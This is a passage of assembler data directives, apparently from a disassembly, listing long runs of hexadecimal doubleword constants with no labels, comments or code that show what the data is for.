dd 8F18F263h, 0ED3A14CCh, 7C0844D0h, 92544ED1h, 0B9D9042Eh
dd 850E5238h, 5611A03Fh, 0B4143F86h, 4564F28Ch, 5AEFBAAAh
dd 0A09C0F51h, 88418243h, 6F35E601h, 2E078F8h, 1947E9B9h
dd 0A23D37Eh, 83B458F6h, 0D72E05C9h, 16E3F3FAh, 59CF2D79h
dd 55F50BABh, 0AF7626D6h, 0D2923539h, 4F4D2312h, 631BE9CEh
dd 8C035144h, 598A8E6h, 7083FDB9h, 1D580874h, 0CC092563h
dd 84C26DFEh, 0D828122Bh, 48CBDCE7h, 2A3BE089h, 60E1A495h
dd 287B3350h, 0C4BEFB0Dh, 0A91E1E2Ah, 57F1A4B2h, 0A7367581h
dd 0F2E6B601h, 18E3BAE4h, 3A86525Eh, 2E4153E1h, 63C2668Dh
dd 0B6C98833h, 0B3F16D61h, 61B0D5ECh, 10A7E293h, 7F53A84h
dd 47045ACh, 0DF7280EEh, 0D4FF0F73h, 0D6F024BAh, 11AE0510h
dd 29FF3E02h, 0E00FAC29h, 4896BD84h, 627C98Fh, 0E70ACBCFh
dd 1BB9383Fh, 0D4FF4122h, 6F25BE78h, 55019DECh, 80BE5BE1h
dd 3FB3177Ah, 6C145C01h, 958FB9B7h, 6ABC04F3h, 0D282337h
dd 56B71C57h, 0B1999251h, 0E6E7F28Ch, 30D77A65h, 0F05D6D59h
dd 0C18171FBh, 0E6CA319Fh, 98C0189h, 0F1BF858Eh, 995BE818h
dd 3A09DB79h, 0B7C6F0A2h, 7AFF1216h, 67E6C914h, 57717ED7h
dd 69C155FBh, 2FC25E52h, 744D0853h, 954694C5h, 0C8F1D797h
dd 79D552C4h, 8043B24Bh, 6C10A3B3h, 173D7257h, 1D4B6DFAh
dd 55812057h, 39F1747Ch, 6FB444CCh, 399BF481h, 8F6F1E11h
dd 3AB104E0h, 9DBE85FCh, 0D23CBB4Ah, 4AFF853Dh, 9DA17FDCh
dd 5C96173Dh, 7106E451h, 297942FCh, 0A8C8C610h, 1C010A8Eh
dd 5491B3EDh, 21F08E74h, 404C1DC1h, 87923EC1h, 95056F98h
dd 5C962D40h, 97020BD3h, 2A40472Fh, 52288249h, 6F520803h
dd 0E365AFAFh, 0C98A50ECh, 1F134132h, 0E088BC30h, 86559080h
dd 14416CE5h, 6137C877h, 0DC21F395h, 898AB7B4h, 2AD6F86Dh
dd 7C7A6785h, 0D4E94EBBh, 0BAD30498h, 5D0B9550h, 0B155C8FFh
dd 0A03F6A41h, 4D640FB8h, 46A872AEh, 0E485E451h, 134FF6A2h
dd 0C2098346h, 83C97B55h, 57D698B2h, 9AFA3BD5h, 4915E286h
dd 0F3DB3604h, 8B31E6A8h, 4C66375Dh, 1170CCADh, 0A194449Eh
dd 0A066DC7Dh, 0EF5E1829h, 0EE7AAE7Dh, 0ED17650Fh, 9FC82B00h
dd 0A08AEF7h, 17165C5Fh, 14FE11DDh, 6B81DA77h, 1F8A0158h
dd 8FD84B29h, 2A00A841h, 2912A495h, 3B7CAB58h, 0EEF757FAh
dd 0D80BC8B3h, 66F6D5E4h, 0B4A49381h, 0D782F28Ch, 0C732996Eh
dd 0FC0C8251h, 0A0664E0Ah, 5735E649h, 83C99AC8h, 906F1EB2h
dd 6FBA9BDAh, 80F9071h, 0A3DF04Ah, 558C27DFh, 14254861h
dd 1C5A485Ah, 6939E62Dh, 1A01CC01h, 0E1084860h, 0A386E686h
dd 0E1C9DF98h, 72F86E7Bh, 0CDF7A875h, 515C28C6h, 14FEF963h
dd 0C5DC8877h, 5CDEDA23h, 868AC09Ch, 30DC510Bh, 971CA495h
dd 0DBBEC5C2h, 0B6C83C72h, 0BC6845ADh, 0B752E83Eh, 4205F357h
dd 539CB707h, 4BE9BADAh, 32E31C14h, 194EA1F7h, 7D40009Eh
dd 59C86122h, 4C93124Dh, 0ECB73A59h, 85C71D78h, 0E51533C0h
dd 0E16362EBh, 2966E572h, 9AF56DF2h, 25BF455Eh, 0B2C1428Eh
dd 6FC088AAh, 6369B131h, 8C01508Fh, 0BC516FFEh, 974F203Ch
dd 0D3DE95C0h, 3FC7B12Ah, 9FB4A003h, 0F4A6DFA0h, 0DFCC722Fh
dd 7A26A3C3h, 2C16E11Eh, 0D7ED4439h, 0B55587F2h, 0DFFFD6B1h
dd 2A31A444h, 22E82963h, 61B0D65h, 5FFC3F5Ch, 0BD9199D2h
dd 0FEEACC89h, 0C8CAE91Ah, 4809B828h, 498F66BFh, 44379010h
dd 0BFB3F56Fh, 0D9726B44h, 4BE9E6DBh, 7BDA48CEh, 91760BE3h
dd 2A9712C3h, 0F34241D9h, 7C38F3F9h, 1883ACFCh, 0CEFD4C84h
dd 0F9C22F1Ah, 546E7730h, 8655B524h, 9DFE71ABh, 0E2CFD862h
dd 0F88694B8h, 0AD43EA0h, 3A22E380h, 29E72D56h, 3B70AB58h
dd 0EECF57FAh, 0D9C3C8B3h, 3D5FD5E4h, 40499247h, 983D0D73h
dd 42170728h, 0FA42E451h, 12B9C708h, 0B415EB9Dh, 57427534h
dd 0BD38C936h, 18F3568Eh, 4A44D74h, 0DED24C31h, 1278AF07h
dd 0A39E888Ah, 108A4E14h, 2BB05223h, 853E41F9h, 0A4D00D43h
dd 0B9F057BFh, 2272180Fh, 0FA2F5580h, 0F102B830h, 0F1B17585h
dd 0FFF722ADh, 0F274A340h, 8A82AF81h, 0DFC5742Fh, 2A388624h
dd 70DE2795h, 286A8958h, 0FA0A188Dh, 4C981C30h, 0DE79E3B4h
dd 0F90B6202h, 6EA77B84h, 431C7E0Bh, 7E4D6753h, 0F0B8EA1Fh
dd 552573A6h, 4B8A02B5h, 0FBDAAE3Ah, 2033D069h, 33C7180Fh
dd 0C2E58C7h, 0E16363F7h, 2826C506h, 890582F6h, 5939ADC5h
dd 0D8270A9h, 80B151B7h, 1F866B98h, 0C9ADE209h, 0ACD835F2h
dd 19F471B9h, 1D0CEEB0h, 0FCAC497Bh, 0E2371668h, 232CA2F1h
dd 0B9B5485Bh, 5E21EF4Fh, 7E1F2790h, 0D68154A4h, 0B997021Ah
dd 1922CC38h, 0BF53CAC3h, 0BB4067BAh, 0A23179D5h, 5E633D54h
dd 9E680C02h, 5AE0C7F4h
dd 0D3951562h, 0B34C9971h, 0BFBE9C7h, 0F9CCDB75h, 0D04CE1EAh
dd 6F7E7541h, 160573F9h, 0DFBE4C58h, 511D141Bh, 0EB6A271Ah
dd 46C94443h, 6D3F023Ch, 0E24B6D55h, 3F0F5F80h, 118E3B86h
dd 0A88640Bh, 699226EDh, 0D4CE73CDh, 0EBDB329h, 635E1CF5h
dd 8FC237A4h, 2A06A841h, 2FE6A495h, 0F3BBC587h, 0B26C3FFEh
dd 2FAB9430h, 0D3692924h, 7B6B65A1h, 983E7BA8h, 599CFA97h
dd 8482ECC4h, 4FD31E4h, 7400199h, 9C3CDB99h, 0D4CA2A4Ch
dd 2F33D39Eh, 59A7E2B2h, 995C5B9Ah, 455C6F88h, 0A399DFF5h
dd 57FF55FCh, 3471465Dh, 0DB1B4259h, 0AF635499h, 0E028D748h
dd 0C9ADE409h, 72D839F2h, 0A573A874h, 96447B5Ch, 993C3826h
dd 6934EF0Bh, 57D73BE4h, 7CA93E0h, 0AA27FF0Eh, 7F95A4ACh
dd 96208EE0h, 490C15CAh, 0D1485DB1h, 5918743h, 57439FC8h
dd 4EFA188h, 56547465h, 0F195A76Ah, 0EB79F6F3h, 1F350044h
dd 36CA3E7Eh, 3DCA7DB1h, 18312B1Ch, 0C3FB125Ah, 2ED1F643h
dd 1605EF8Ah, 0DFB65016h, 0B43E0DEBh, 2AB0EE1Eh, 5240427Ch
dd 906D8129h, 6969684Ch, 0CA033F54h, 1027F371h, 0F57788ADh
dd 0B35922BBh, 14FFF126h, 0E254A84Ah, 57CB2AA8h, 0CCF83BE7h
dd 793F63DCh, 831FDA7Dh, 175A172Eh, 72E20186h, 3AED7EC7h
dd 5CF1A3C8h, 0F80D7234h, 50A7C9C4h, 1DFCFD19h, 8987E439h
dd 8CE02FF4h, 8E6CFF62h, 0C34C8132h, 5E47F7C6h, 24705AD7h
dd 0C9445EFEh, 0C4A6A388h, 558C2F84h, 0B96F2D19h, 0B79DF3ECh
dd 6ABB2D88h, 0DB4A0192h, 2FB31DAAh, 0E20FAFCDh, 8A035A84h
dd 0F19BB6FEh, 7E5BC7B9h, 0D5D395F7h, 0F01E6916h, 0A1BF7788h
dd 0C89F16A0h, 6CFF42Fh, 0AB4A0C8Fh, 4D8CA49Eh, 3B521511h
dd 45E0C7AFh, 5C4C29B5h, 3D1A03Fh, 0A86436CAh, 5440B607h
dd 1C9C3CE5h, 816EEC75h, 7ECCDDCCh, 7DED014h, 0FA4CC033h
dd 0BDFB1FC6h, 53BE10C4h, 0C04C1D74h, 870A0F59h, 45056F8Eh
dd 0A3907FF9h, 0A963F3E4h, 89A0AE03h, 4242B41Dh, 93C7F294h
dd 0D10BD0BAh, 0A3B1B044h, 845D7BAh, 7C2E7FCFh, 0E29A0077h
dd 305EE237h, 0B2246881h, 2020CA57h, 4F4127A4h, 0EA1C10B9h
dd 94BDBC7Eh, 0D7D74E9Ah, 8644FBABh, 0D56B95C5h, 547A233Ch
dd 0B801C2BEh, 98BFF28Ch, 493043E0h, 6585E451h, 8946316Fh
dd 1113D1Ch, 0DC369970h, 4EBE1252h, 0ACC5F7C2h, 55B34D5Ch
dd 972D4EA5h, 0E02162D3h, 9F99D5EDh, 9151702Eh, 2A971D43h
dd 1425CD9h, 641C6DE2h, 0A8B6874Ch, 0F88A3484h, 2E513632h
dd 7C2896C3h, 0A219CA64h, 4F857BEh, 0E3220BB0h, 87D81FA8h
dd 8FB33A67h, 2A3DA841h, 2FC8A495h, 4706B187h, 33C9040Eh
dd 0A96F34FEh, 0AD41B03Fh, 0BC3D3E54h, 0D6A77B9Ch, 0D02B8AADh
dd 9F580C18h, 3BE03814h, 0BF5855Dh, 0F768DA55h, 0EDDAED58h
dd 90CFC69Fh, 0C90D4Fh, 6F7EA692h, 0E9FA90DDh, 60733AB0h
dd 18660C56h, 2EFB22DDh, 384AB706h, 6C91D928h, 0B6565C45h
dd 3536207Bh, 215173F2h, 78B4636Eh, 965A750Bh, 14475C26h
dd 0B1322877h, 0D4FC0323h, 79E90A25h, 0D5E404CCh, 7BE5B6Ah
dd 0D97A9554h, 0BA372053h, 4AA4C528h, 42715D7Bh, 6705B9C8h
dd 116FA5F8h, 9BFFAF4Dh, 287A1BB0h, 0FE9D8460h, 98D51676h
dd 8042D08Ch, 9122BD86h, 75CC2C80h, 10605EC4h, 78CDB10Fh
dd 558E36ABh, 0A48E95D5h, 0C889F36Ch, 1784E225h, 4242AA01h
dd 2FB33A9Dh, 4E70CF1h, 9075C95Bh, 0A9E42679h, 0AA8EED8h
dd 7E09244Bh, 0EB071EF5h, 4332622Eh, 0CCD9698Ch, 73D848F4h
dd 71081430h, 0F72B2D56h, 870F6A95h, 4781110Dh, 0D2E88538h
dd 1518743h, 0E1CB2D17h, 7ADAE2A8h, 4F07FF9Bh, 69BDD14h
dd 21B8ADD6h, 876504D8h, 0F3C99570h, 74C2292Dh, 13CC52A7h
dd 0B4B3E2B1h, 0F2D236E4h, 952F8454h, 4912C41Eh, 0D7FD0CD1h
dd 0CA58F1BAh, 0D1425CA2h, 2AB3386Dh, 37F00F41h, 3642B4DDh
dd 3F5B7119h, 8D89B138h, 0E44A6542h, 30BC7A92h, 0F7CCB863h
dd 0CCD922E4h, 4C9569FBh, 2A3EA841h, 14D6A495h, 0C70648D1h
dd 47E1110Dh, 0D2F88538h, 6B18743h, 51839FC8h, 869A184h
dd 0B0E8AF95h, 65851900h, 2D418260h, 5ABEFCCBh, 0F3C88F73h
dd 0DBCEF025h, 641AC361h, 5C5C757h, 7B783A19h, 9DFD2AD3h
dd 0C3439A8h, 811E0CA9h, 0C2B0A1A9h, 52424116h, 31D4B932h
dd 0E070D206h, 0C9AD8C09h, 0ACD869F2h, 19F4C9B9h, 0C10C3ED0h
dd 14FC614Eh, 0D3E2077h, 5580E057h, 0FA0E3267h, 0C2077EC4h
dd 832F5A6Ah, 0DF1EC788h, 7DA905F5h, 5E039D3Dh, 5391802Fh
dd 7BD89141h, 8A64F6CFh, 59E8006Eh, 72C622AFh, 0AAFA00E1h
dd 5F35009Eh, 32ED4AF0h, 2DCBEAA6h, 6C375364h, 0B28F2449h
dd 2F683E38h, 4210900Ah, 3A76C504h, 91AC7148h, 2BB32591h
dd 2FC15D79h, 0E83730F5h, 0E00F5EBCh, 4256740Fh, 99DE2F2h
dd 76AB6DBBh, 0D3D35174h, 0E4BC9ADAh, 0E3CFFDFCh, 248CD66Ah
dd 8FC73799h, 0ED006ACCh, 74D254D0h, 0D6C14ED1h, 51A104F2h
dd 5B9BFD6Ch, 3F19A03Fh, 0E47F85AFh, 8C613105h, 0AFB6F518h
dd 0F095E558h, 0DA5237AEh, 4F801C17h, 0D98874h, 1CC2E5ABh
dd 34D8F371h, 40485E8Fh, 78D2B024h, 55C390A3h, 1FA1CFF0h
dd 91760CDBh, 0E73236Eh, 5AF75992h, 692832EEh, 0E00F5A45h
dd 11F8F1BDh, 99DE6B4h, 0FD7F2109h, 37264DB5h, 7412FE17h
dd 69CBCDFCh, 2325A2A8h, 0C8BB485Bh, 25F84147h, 0BE2BB623h
dd 0D77B4ED0h, 785E3D86h, 5EEB9530h, 0AC81AB4Ah, 0A2BD2254h
dd 38A4779Ch, 23EF764Bh, 0BBEEFBB0h, 5B434ECFh, 5BBE0564h
dd 0B2CE81E6h, 7FD660BEh, 67CB96EAh, 4B4F9448h, 87A74FA9h
dd 51012CD6h, 0D79A800Eh, 51F5F49Eh, 0D2F5297Ah, 2EB22002h
dd 7C70232h, 0F5847D82h, 0D98B348Ch, 78DA737Fh, 0A88DF0Bh
dd 3CDF4A4Bh, 0D2F93126h, 67B26C34h, 1BD3AA57h, 702693E1h
dd 3BEEEB33h, 73DF5B16h, 37F49E45h, 456501F3h, 1B726AC7h
dd 0F7742B9Bh, 0DE158511h, 0C6F4F270h, 5E2A0B28h, 97A1BAFh
dd 62FC4C85h, 6F20FFCEh, 2AD9898Eh, 9D4F01EBh, 0B9CC8E15h
dd 504CE014h, 78B1F664h, 16F83355h, 3664AF9Dh, 1C7666E2h
dd 7AE2001Bh, 2B61852h, 3CA476E2h, 1D6F4C3Ah, 90F2C84h
dd 0BC537786h, 1329590h, 1FAE083Fh, 0F8BCAA25h, 0E233B752h
dd 0DE229CA8h, 0C450B1D1h, 37E954C8h, 5934E11Eh, 0D7734E2Eh
dd 0CF9AFC71h, 5A801528h, 0D31B4B37h, 49807E0Ah, 4B2F7288h
dd 5D94B8EDh, 4F09EB53h, 33463814h, 2F340896h, 37DC7623h
dd 0E2DAED52h, 80BA8838h, 3FC5DE16h, 870A0F63h, 45056F42h
dd 0DFBDF4DFh, 967E91D7h, 5EB0B05Fh, 0CF76D6BCh, 7C393421h
dd 9E8C4BAEh, 0C3FE3D8Ch, 0A9D4357Fh, 8470DCFh, 50D8A5B4h
dd 89FDDA02h, 0F2322F7Fh, 0DCDEDFADh, 0FD170EA4h, 0B7079F11h
dd 6CDBA39Dh, 0B56A681h, 7DD8FB0Dh, 59D3083Ch, 5371B03Eh
dd 21C37A41h, 0E598B277h, 2ED4A433h, 1485C32Ch, 623A2262h
dd 0AC625392h, 1642993Eh, 9DC82AB7h, 0A733D366h, 428B091Eh
dd 872DB3EEh, 950D32CFh, 2866C9F8h, 9D3387F8h, 0A3B4F0A3h
dd 5ACB51CCh, 191A0969h, 651FB3F3h, 408D4A4Dh, 0EA52343Ah
dd 0B0FC04B8h, 0D55B42ACh, 2C7999AFh, 62367C55h, 3FAE9F93h
dd 89A57E21h, 0EC41DC45h, 392FA495h, 576BB1C9h, 81FC26C9h
dd 0DB937E7Bh, 0DA56D4F6h, 0B0CA3B89h, 0BEFE204h, 25170075h
dd 430FA788h, 4E8263h
dd 0F09F7DBh, 0B34D8107h, 0F4F6E9DBh, 91B30A13h, 0C3391DBDh
dd 22558A3h, 0D0011B8Fh, 9B663AC0h, 9176F4BEh, 1130A03Eh
dd 0B94F29B9h, 6FB271A8h, 197B7B79h, 3CFE36B8h, 0F6D84C72h
dd 0F577D0B4h, 9A2626B4h, 9FF20526h, 0B2BDE432h, 0D08E56ACh
dd 0CA593F2Dh, 0ED01EBD8h, 7CA758D0h, 28564ED1h, 0FC320619h
dd 2AE7AEB8h, 8E8A20C6h, 64F73C35h, 49E4F28Bh, 0D094D414h
dd 57F1E4B0h, 0A4B8BC1Bh, 0FC76038Bh, 9F8C4FA3h, 0DDCAED2Fh
dd 0E9F4D78Dh, 404C1BB6h, 4ED8EE9h, 19059F35h, 19EF0509h
dd 7A99FCFBh, 5E78E501h, 138A575Fh, 0E76732AFh, 0E0EE4380h
dd 4CC1C00Dh, 733A0C32h, 81C78833h, 6E062EBAh, 29331426h
dd 0DEB4BC57h, 28D96AA1h, 71AF34B8h, 0AB1E60CCh, 0FDA7D05Ch
dd 0F4E90F19h, 9EF2147Ah, 0DD8B6A20h, 0D36ECAD7h, 0D709FFB8h
dd 8AC7B8Eh, 2517FFA3h, 477AFC05h, 7D46E262h, 13488321h
dd 98C6FCF3h, 6D47E2EAh, 60665863h, 0C04C1982h, 0C2A6BBEAh
dd 4905805Eh, 18A6CC2h, 910840C8h, 2A969C93h, 7415E79h
dd 80BBD7A0h, 0E0135B49h, 0DC7D6FD7h, 0E9A88702h, 0CB97CEB9h
dd 0FF81E0B4h, 15799022h, 23C42DFAh, 0A88BA057h, 0FC6C8A4h
dd 0AF1F1430h, 0B35C5020h, 0F1AC32Eh, 72489A2h, 0B49BFF68h
dd 0A019F63Eh, 207F85B8h, 0D6FE642h, 57427485h, 1907E0B5h
dd 1539D53h, 0C4BC58C1h, 0BBC53B6h, 5122EF45h, 75CC299Dh
dd 10B452C8h, 0D7D1E266h, 9BF932C7h, 0F367691h, 6CA20545h
dd 0EE321F11h, 0AE04550Dh, 9A5D96A1h, 0FD9C4AC5h, 0D986CCF8h
dd 152926ACh, 4AAAC76Dh, 97BB9DB4h, 159E3DABh, 88B08877h
dd 2D477A21h, 0DE85E4ACh, 0DB640133h, 125B495h, 0F29BCB29h
dd 0EC21A5FAh, 5BE28539h, 0D09467C1h, 0A0407A45h, 0A39CAF0Fh
dd 2BCD7664h, 0CBC51BF8h, 8FB9C597h, 0E458CE7h, 47F4B3F3h
dd 81BFEEACh, 0D7B32466h, 4BAE6044h, 0D76D5FB1h, 0E9ECF1A6h
dd 9BEE5C6Eh, 918109B8h, 0AE8C23EEh, 52505ECFh, 6D4E3DDCh
dd 1FEEF3ADh, 9471627Bh, 7092940Ah, 0AFF83EAh, 95E705F4h
dd 9800C426h, 0E7B06907h, 49D0AB95h, 0D60EBE5Dh, 1887C5E5h
dd 1EBFA01Dh, 61228E55h, 3AA605AAh, 5E4015CAh, 0ABF7714Ch
dd 5748DB44h, 0EDFE282h, 221D8B89h, 0B2D51C6Dh, 0F644AA4Eh
dd 0AC6B5E6Eh, 0E094673Bh, 8CA90A4h, 535931E2h, 40AB3734h
dd 0F315C795h, 0E9615710h, 5C671458h, 0B4FEC9A3h, 2AB263CEh
dd 148345Ah, 9AE6E3Fh, 81B272Dh, 3601FA47h, 5F266ABh, 0F4C6BC30h
dd 1B5A185Fh, 972AA1DEh, 0C9074927h, 0D7C0E724h, 0C959A35Bh
dd 9D6A143Bh, 547028A8h, 44E11EC1h, 0CB781619h, 0D95B95C1h
dd 2EE9309Bh, 21D4855Bh, 536405CCh, 6287C2F6h, 5A85F420h
dd 0CEF445AEh, 7F37E9A0h, 0DA228BF5h, 5122EAC0h, 35CC2A86h
dd 0C8099A9Ch, 7FEC43D6h, 495CA0EDh, 11EC7F37h, 9CFE295Bh
dd 2AB223DEh, 9162B470h, 0FCB6A9B9h, 708BDCD5h, 59628514h
dd 0AC1F3362h, 18555DB9h, 0C04D26A8h, 99728CADh, 0DFF8A44Ah
dd 0D8B55FB8h, 83B536CEh, 0B37B14ECh, 3C8A5205h, 498F2481h
dd 7B3C74E7h, 27D73629h, 6EF4B038h, 0B8EA193Eh, 1200B713h
dd 9BE173A8h, 247AB408h, 3EB93B0Fh, 2A41C13Ah, 0C33DF6B4h
dd 0E8CAE83Ah, 0DC765166h, 0B6C01AD4h, 0BBA08787h, 9D03BC16h
dd 5C91B858h, 1C89E4A3h, 3F39FDAAh, 423F2E09h, 9AAD3562h
dd 2A1C5CC5h, 0CD84C6BDh, 0EC6C65C3h, 0F48EB05Ah, 0C43B7DA4h
dd 6AAF3E70h, 5A9E088Ah, 4CC3EB68h, 0DA83E854h, 0D525F845h
dd 7194DB18h, 0AA08AB58h, 0DE4257EBh, 519C9A2Ah, 0D314283Dh
dd 2C4C3FC2h, 7EF0AD9h, 0E2177419h, 0B07BA199h, 2A40E656h
dd 0EA3A018Fh, 0F3C98A3Bh, 0FDC69429h, 0A9B8C01Dh, 0F041864Ah
dd 0C3D9367h, 16E19B0Bh, 0D56FCD71h, 514609E3h, 2AB02F57h
dd 4243DBB9h, 0E73E4DA9h, 57105B10h, 0CB63E9C1h, 0F68BF279h
dd 920BF586h, 2F5D273Dh, 0E5050ED8h, 0DE0D809Eh, 39BC5FA8h
dd 349F41A4h, 0BC76EC89h, 3C568195h, 0D6BA4ED1h, 0CFB104F3h
dd 0B84A7D2Dh, 0AF765FC4h, 0A5007A62h, 941B3A19h, 8517FD3Ch
dd 0CBC05307h, 0ADBF26DAh, 0E13AF9AAh, 0DC2B09A7h, 54AC3923h
dd 0C1B3262Dh, 31A70AA3h, 71D5DA0Ah, 1A732718h, 539F11F6h
dd 18112D75h, 77589DCBh, 5DC69CD2h, 8C0638DFh, 0DCE14FC5h
dd 0C9EE1044h, 0BC1CBA87h, 0F430A3C8h, 0F1648D37h, 0DDC4A4AFh
dd 358E3532h, 33849490h, 98DE01ABh, 0E66143Ch, 349044A8h
dd 0ED903BD1h, 6DB6FCB6h, 9EEB163Eh, 0D1D4295Ch, 0A73D3F89h
dd 998CE173h, 41E800EDh, 3785CE00h, 0DD71450Bh, 5F34B136h
dd 6EB40AF5h, 0BE8A9FAAh, 1833D114h, 0C8198253h, 796810E4h
dd 9D04367Ch, 9B01702Ch, 9174CB89h, 0D4CEA0F8h, 95342C79h
dd 6C22CC6Ch, 0EE084E45h, 891A540Fh, 7D97EE7Bh, 24BFA465h
dd 1B6F103Dh, 7192E563h, 260FA876h, 873EA7EDh, 450CDEB4h
dd 47A0EB33h, 0C92A461h, 7A82CDD1h, 708771F3h, 0DC90817Bh
dd 0BFF1470Ah, 42B467C5h, 746DE296h, 2613A790h, 29851ED8h
dd 3BB97134h, 47350D3Fh, 83C8A6DCh, 0DB7692Ah, 0A72DAB69h
dd 0F743130Ch, 85A479C6h, 1912E297h, 3A9A31C3h, 2972AF5Ah
dd 0D54C1D90h, 523CD1F0h, 9168B1E9h, 0D4965EF9h, 4226A48Bh
dd 0F4728F6h, 0B12FB430h, 0E47BD858h, 0EFFE8A02h, 2DCA0137h
dd 0C9CD6F95h, 32C9CAA4h, 0B06BEC89h, 0E8C92F95h, 44FFC5B7h
dd 0E9EC8D95h, 652B1059h, 0C83C4826h, 0AA8785B2h, 7C64F2BEh
dd 69E8379Eh, 3B85E749h, 0E8FC7124h, 0ADB4C096h, 0B3C98575h
dd 0F5C2116Bh, 0EC9A223Ch, 0B44C05D8h, 0C29A8C9Fh, 0E906AAE0h
dd 0EA687B8Eh, 417D7F8Eh, 0D4F62B18h, 0A079AE5Fh, 76582BA9h
dd 1FA2FE4Ah, 2B1BD10Dh, 0FE876EFAh, 0F4B65F15h, 0F6194CB4h
dd 929DE1AFh, 2F699632h, 88C22DEDh, 0F2AB22D0h, 7A5D9434h
dd 5961A9E1h, 6BAB129h, 3B654134h, 36FB953Fh, 0AFC3E5C2h
dd 0BC84756Ch, 0FC1B0D6Dh, 0F517F76Ch, 35D06CE2h, 0E8FC4DBDh
dd 0BC378B19h, 14C699E0h, 5F43156Fh, 0A32789E2h, 26B146EEh
dd 0E12BCD04h, 16F8FA83h, 19A09D78h, 9174AD0Bh, 0A1B7894Eh
dd 7B7219Ch, 0E5FF1265h, 0A462A180h, 2557476Ch, 0A3E772AFh
dd 18C579B9h, 26F41E8Ch, 5DB23163h, 9977CB8Bh, 374113D4h
dd 4A36C8E3h, 965A91E8h, 691BB495h, 0A2FC6B2Dh, 5B99023Ah
dd 90CD4CD6h, 0D3542B34h, 0A59882D0h, 7F66DB14h, 459BF015h
dd 0B485E7E6h, 0EA3A3A8Eh, 84B90D3Eh, 0D0C98DF3h, 32C59C53h
dd 6C33DBDCh, 14C925A4h, 0C3D8B69h, 6E869747h, 7813C833h
dd 1A7C0860h, 6031360Eh, 4673D0F8h, 0E7227EA2h, 0E52ACB4Dh
dd 8C59150Dh, 0A0638E6h, 1D4694B8h, 9018B31Dh, 937714ADh
dd 0DFCDAB67h, 8C494F21h, 0F6A85158h, 37EA7236h, 0A95DC263h
dd 0BDEF4E28h, 31020CA8h, 95566A0Fh, 0EAFAF0BAh, 52682A6Ah
dd 0FDE4F35Fh, 4392F72Dh, 7EA6A57h, 0C63AC1FBh, 215CE540h
dd 6429135h, 0A7B25C23h, 0A72C4702h, 4AC7530Eh, 0E29F60Ch
dd 0EA579C0Eh, 9611658Ch, 186D9632h, 77311263h, 0D947326Dh
dd 169932BCh, 0F9B839FFh, 421A4B0Fh, 0FE0636F8h, 0AEED9EB9h
dd 6A713648h, 954B0CAFh, 9464FC2Ah, 3DCBCA23h, 244B8DDEh
dd 0BA359FD5h, 0A6E7AE19h, 4DE1C7DBh, 0D202F8A7h, 0E0E61CD8h
dd 0C4A5FDC6h, 0A715F17Bh, 0BFE7F9C7h, 71D76E9h, 0D20C1B01h
dd 0F1780A62h
dd 0DF788580h, 0F83DCCFCh, 0A0412DE6h, 1C7DBA9Ah, 4BB800D3h
dd 0DAA6C3C5h, 0E64BE6F2h, 0D66C9988h, 0CCF9FDB6h, 0A3B02BCAh
dd 17B95DE1h, 5660BAA1h, 6AD33E2Dh, 0C18117C1h, 90DBEF79h
dd 48795AB9h, 1B892C66h, 300B0EDh, 8A85E0FEh, 378534ACh
dd 37A23FE1h, 0B11476F7h, 0F46EE119h, 0D2BFC5DBh, 27ECE76h
dd 0D96A1CF2h, 0B74A6184h, 0F38972E9h, 0F2C6184Eh, 0CD9DF7A4h
dd 71F1DB72h, 73C3FD9Fh, 1F7087EBh, 3B42983Eh, 5400542Fh
dd 0B3CBF1A5h, 18C553D3h, 8F68B48Dh, 9D023783h, 224A511Dh
dd 14765218h, 0A1AC11CEh, 2B9D21Ch, 6D51B77Dh, 6AC5034Ch
dd 0CDC80CC1h, 0C83C94E2h, 910EC9BBh, 9040ED43h, 962E1526h
dd 8207C032h, 0A28992BCh, 0C636FF2Dh, 0AAA80088h, 698B8F82h
dd 80EB0B58h, 0DD414409h, 1B98E120h, 781AA80Bh, 0AA8AF773h
dd 0F270BBC1h, 8AD1EBA0h, 420EC750h, 16E94A83h, 1E214154h
dd 399193Fh, 2D8F68A4h, 6475BA3Fh, 0D1E9B105h, 43AE3B8Ah
dd 12C99602h, 1813E419h, 0AB0B4E03h, 0A1A05772h, 58BA562Ch
dd 0E51EFBAAh, 1D82C14Fh, 1233C80Dh, 7F47F67Bh, 86FD646Dh
dd 1390C03Fh, 680AAB5Ch, 0C159236Fh, 63405523h, 0C029BEACh
dd 0EBE4E894h, 0A72F2D6Ah, 1D33135Ah, 0F4348FBAh, 0BAA1EFA0h
dd 0FD7AB83Bh, 288AF16Ah, 726DFB87h, 4EBA672h, 440C1F71h
dd 92E44853h, 52BE1AD4h, 80C31B39h, 1743DAEAh, 0A5CC67E4h
dd 0C9976684h, 0DAA4CFC6h, 0FE4BFCE0h, 0D474A99Eh, 0CCFA065Eh
dd 0C2F46902h, 0DBDD8792h, 318CD5A4h, 998C129h, 40EA470Fh
dd 0F2FF34FAh, 772EC1BBh, 0E6D0A7CCh, 15FE0A3Dh, 950780FCh
dd 0AE0616ACh, 98AA6513h, 5DADDF44h, 0CE642D8Dh, 0C5304A8Bh
dd 9C614175h, 6509AF59h, 20942B52h, 0F0CB72EEh, 77AE7A40h
dd 599E2D4Bh, 0F0442CB9h, 0F3B148B4h, 10DE0947h, 0B9C1D5FEh
dd 9F6E5EBh, 960C331Bh, 85C74421h, 0C25A89Ch, 0DC8F4B56h
dd 5510DF20h, 1A77D692h, 0DDDFAABBh, 52386279h, 3C8F7DDDh
dd 64D7CE41h, 4C7E6E56h, 7C8CCB32h, 8F0A9075h, 0CBE481C0h
dd 58709953h, 0D85CE37Fh, 29CD9525h, 2AF23ECh, 8A69D2D9h
dd 572B2FA2h, 1BC31E58h, 74D805B4h, 443E1E35h, 2021EDC3h
dd 0ED8B6A68h, 6FB4784Ah, 8803B27Ah, 1DD56EE2h, 66FC7654h
dd 0FF70862Fh, 33F87BE4h, 9949DF25h, 0AF6BDD7Bh, 5C753ACh
dd 0BD55AFADh, 9D142D9Ch, 571218B8h, 187B6F20h, 0D2FBB8C4h
dd 0B9D08904h, 6052AA79h, 205A774Eh, 14747D8Ch, 0AB6A19B3h
dd 1683E1D0h, 0D6731569h, 12DCF12Eh, 958A4865h, 0A5309CCEh
dd 0A7E9D0h, 0DEAD72C5h, 23C8A494h, 0AE56C5C6h, 0D1CD5475h
dd 0DBC2946Bh, 3E542B5Ch, 81D07EADh, 36EFCDABh, 0BAE099FDh
dd 9B85E518h, 0BAFC4B5Fh, 0F2215D2Bh, 9B4092BDh, 0A98F53B2h
dd 472031B6h, 85C74F44h, 0C7DA4DAEh, 620651EAh, 55DCAFFAh
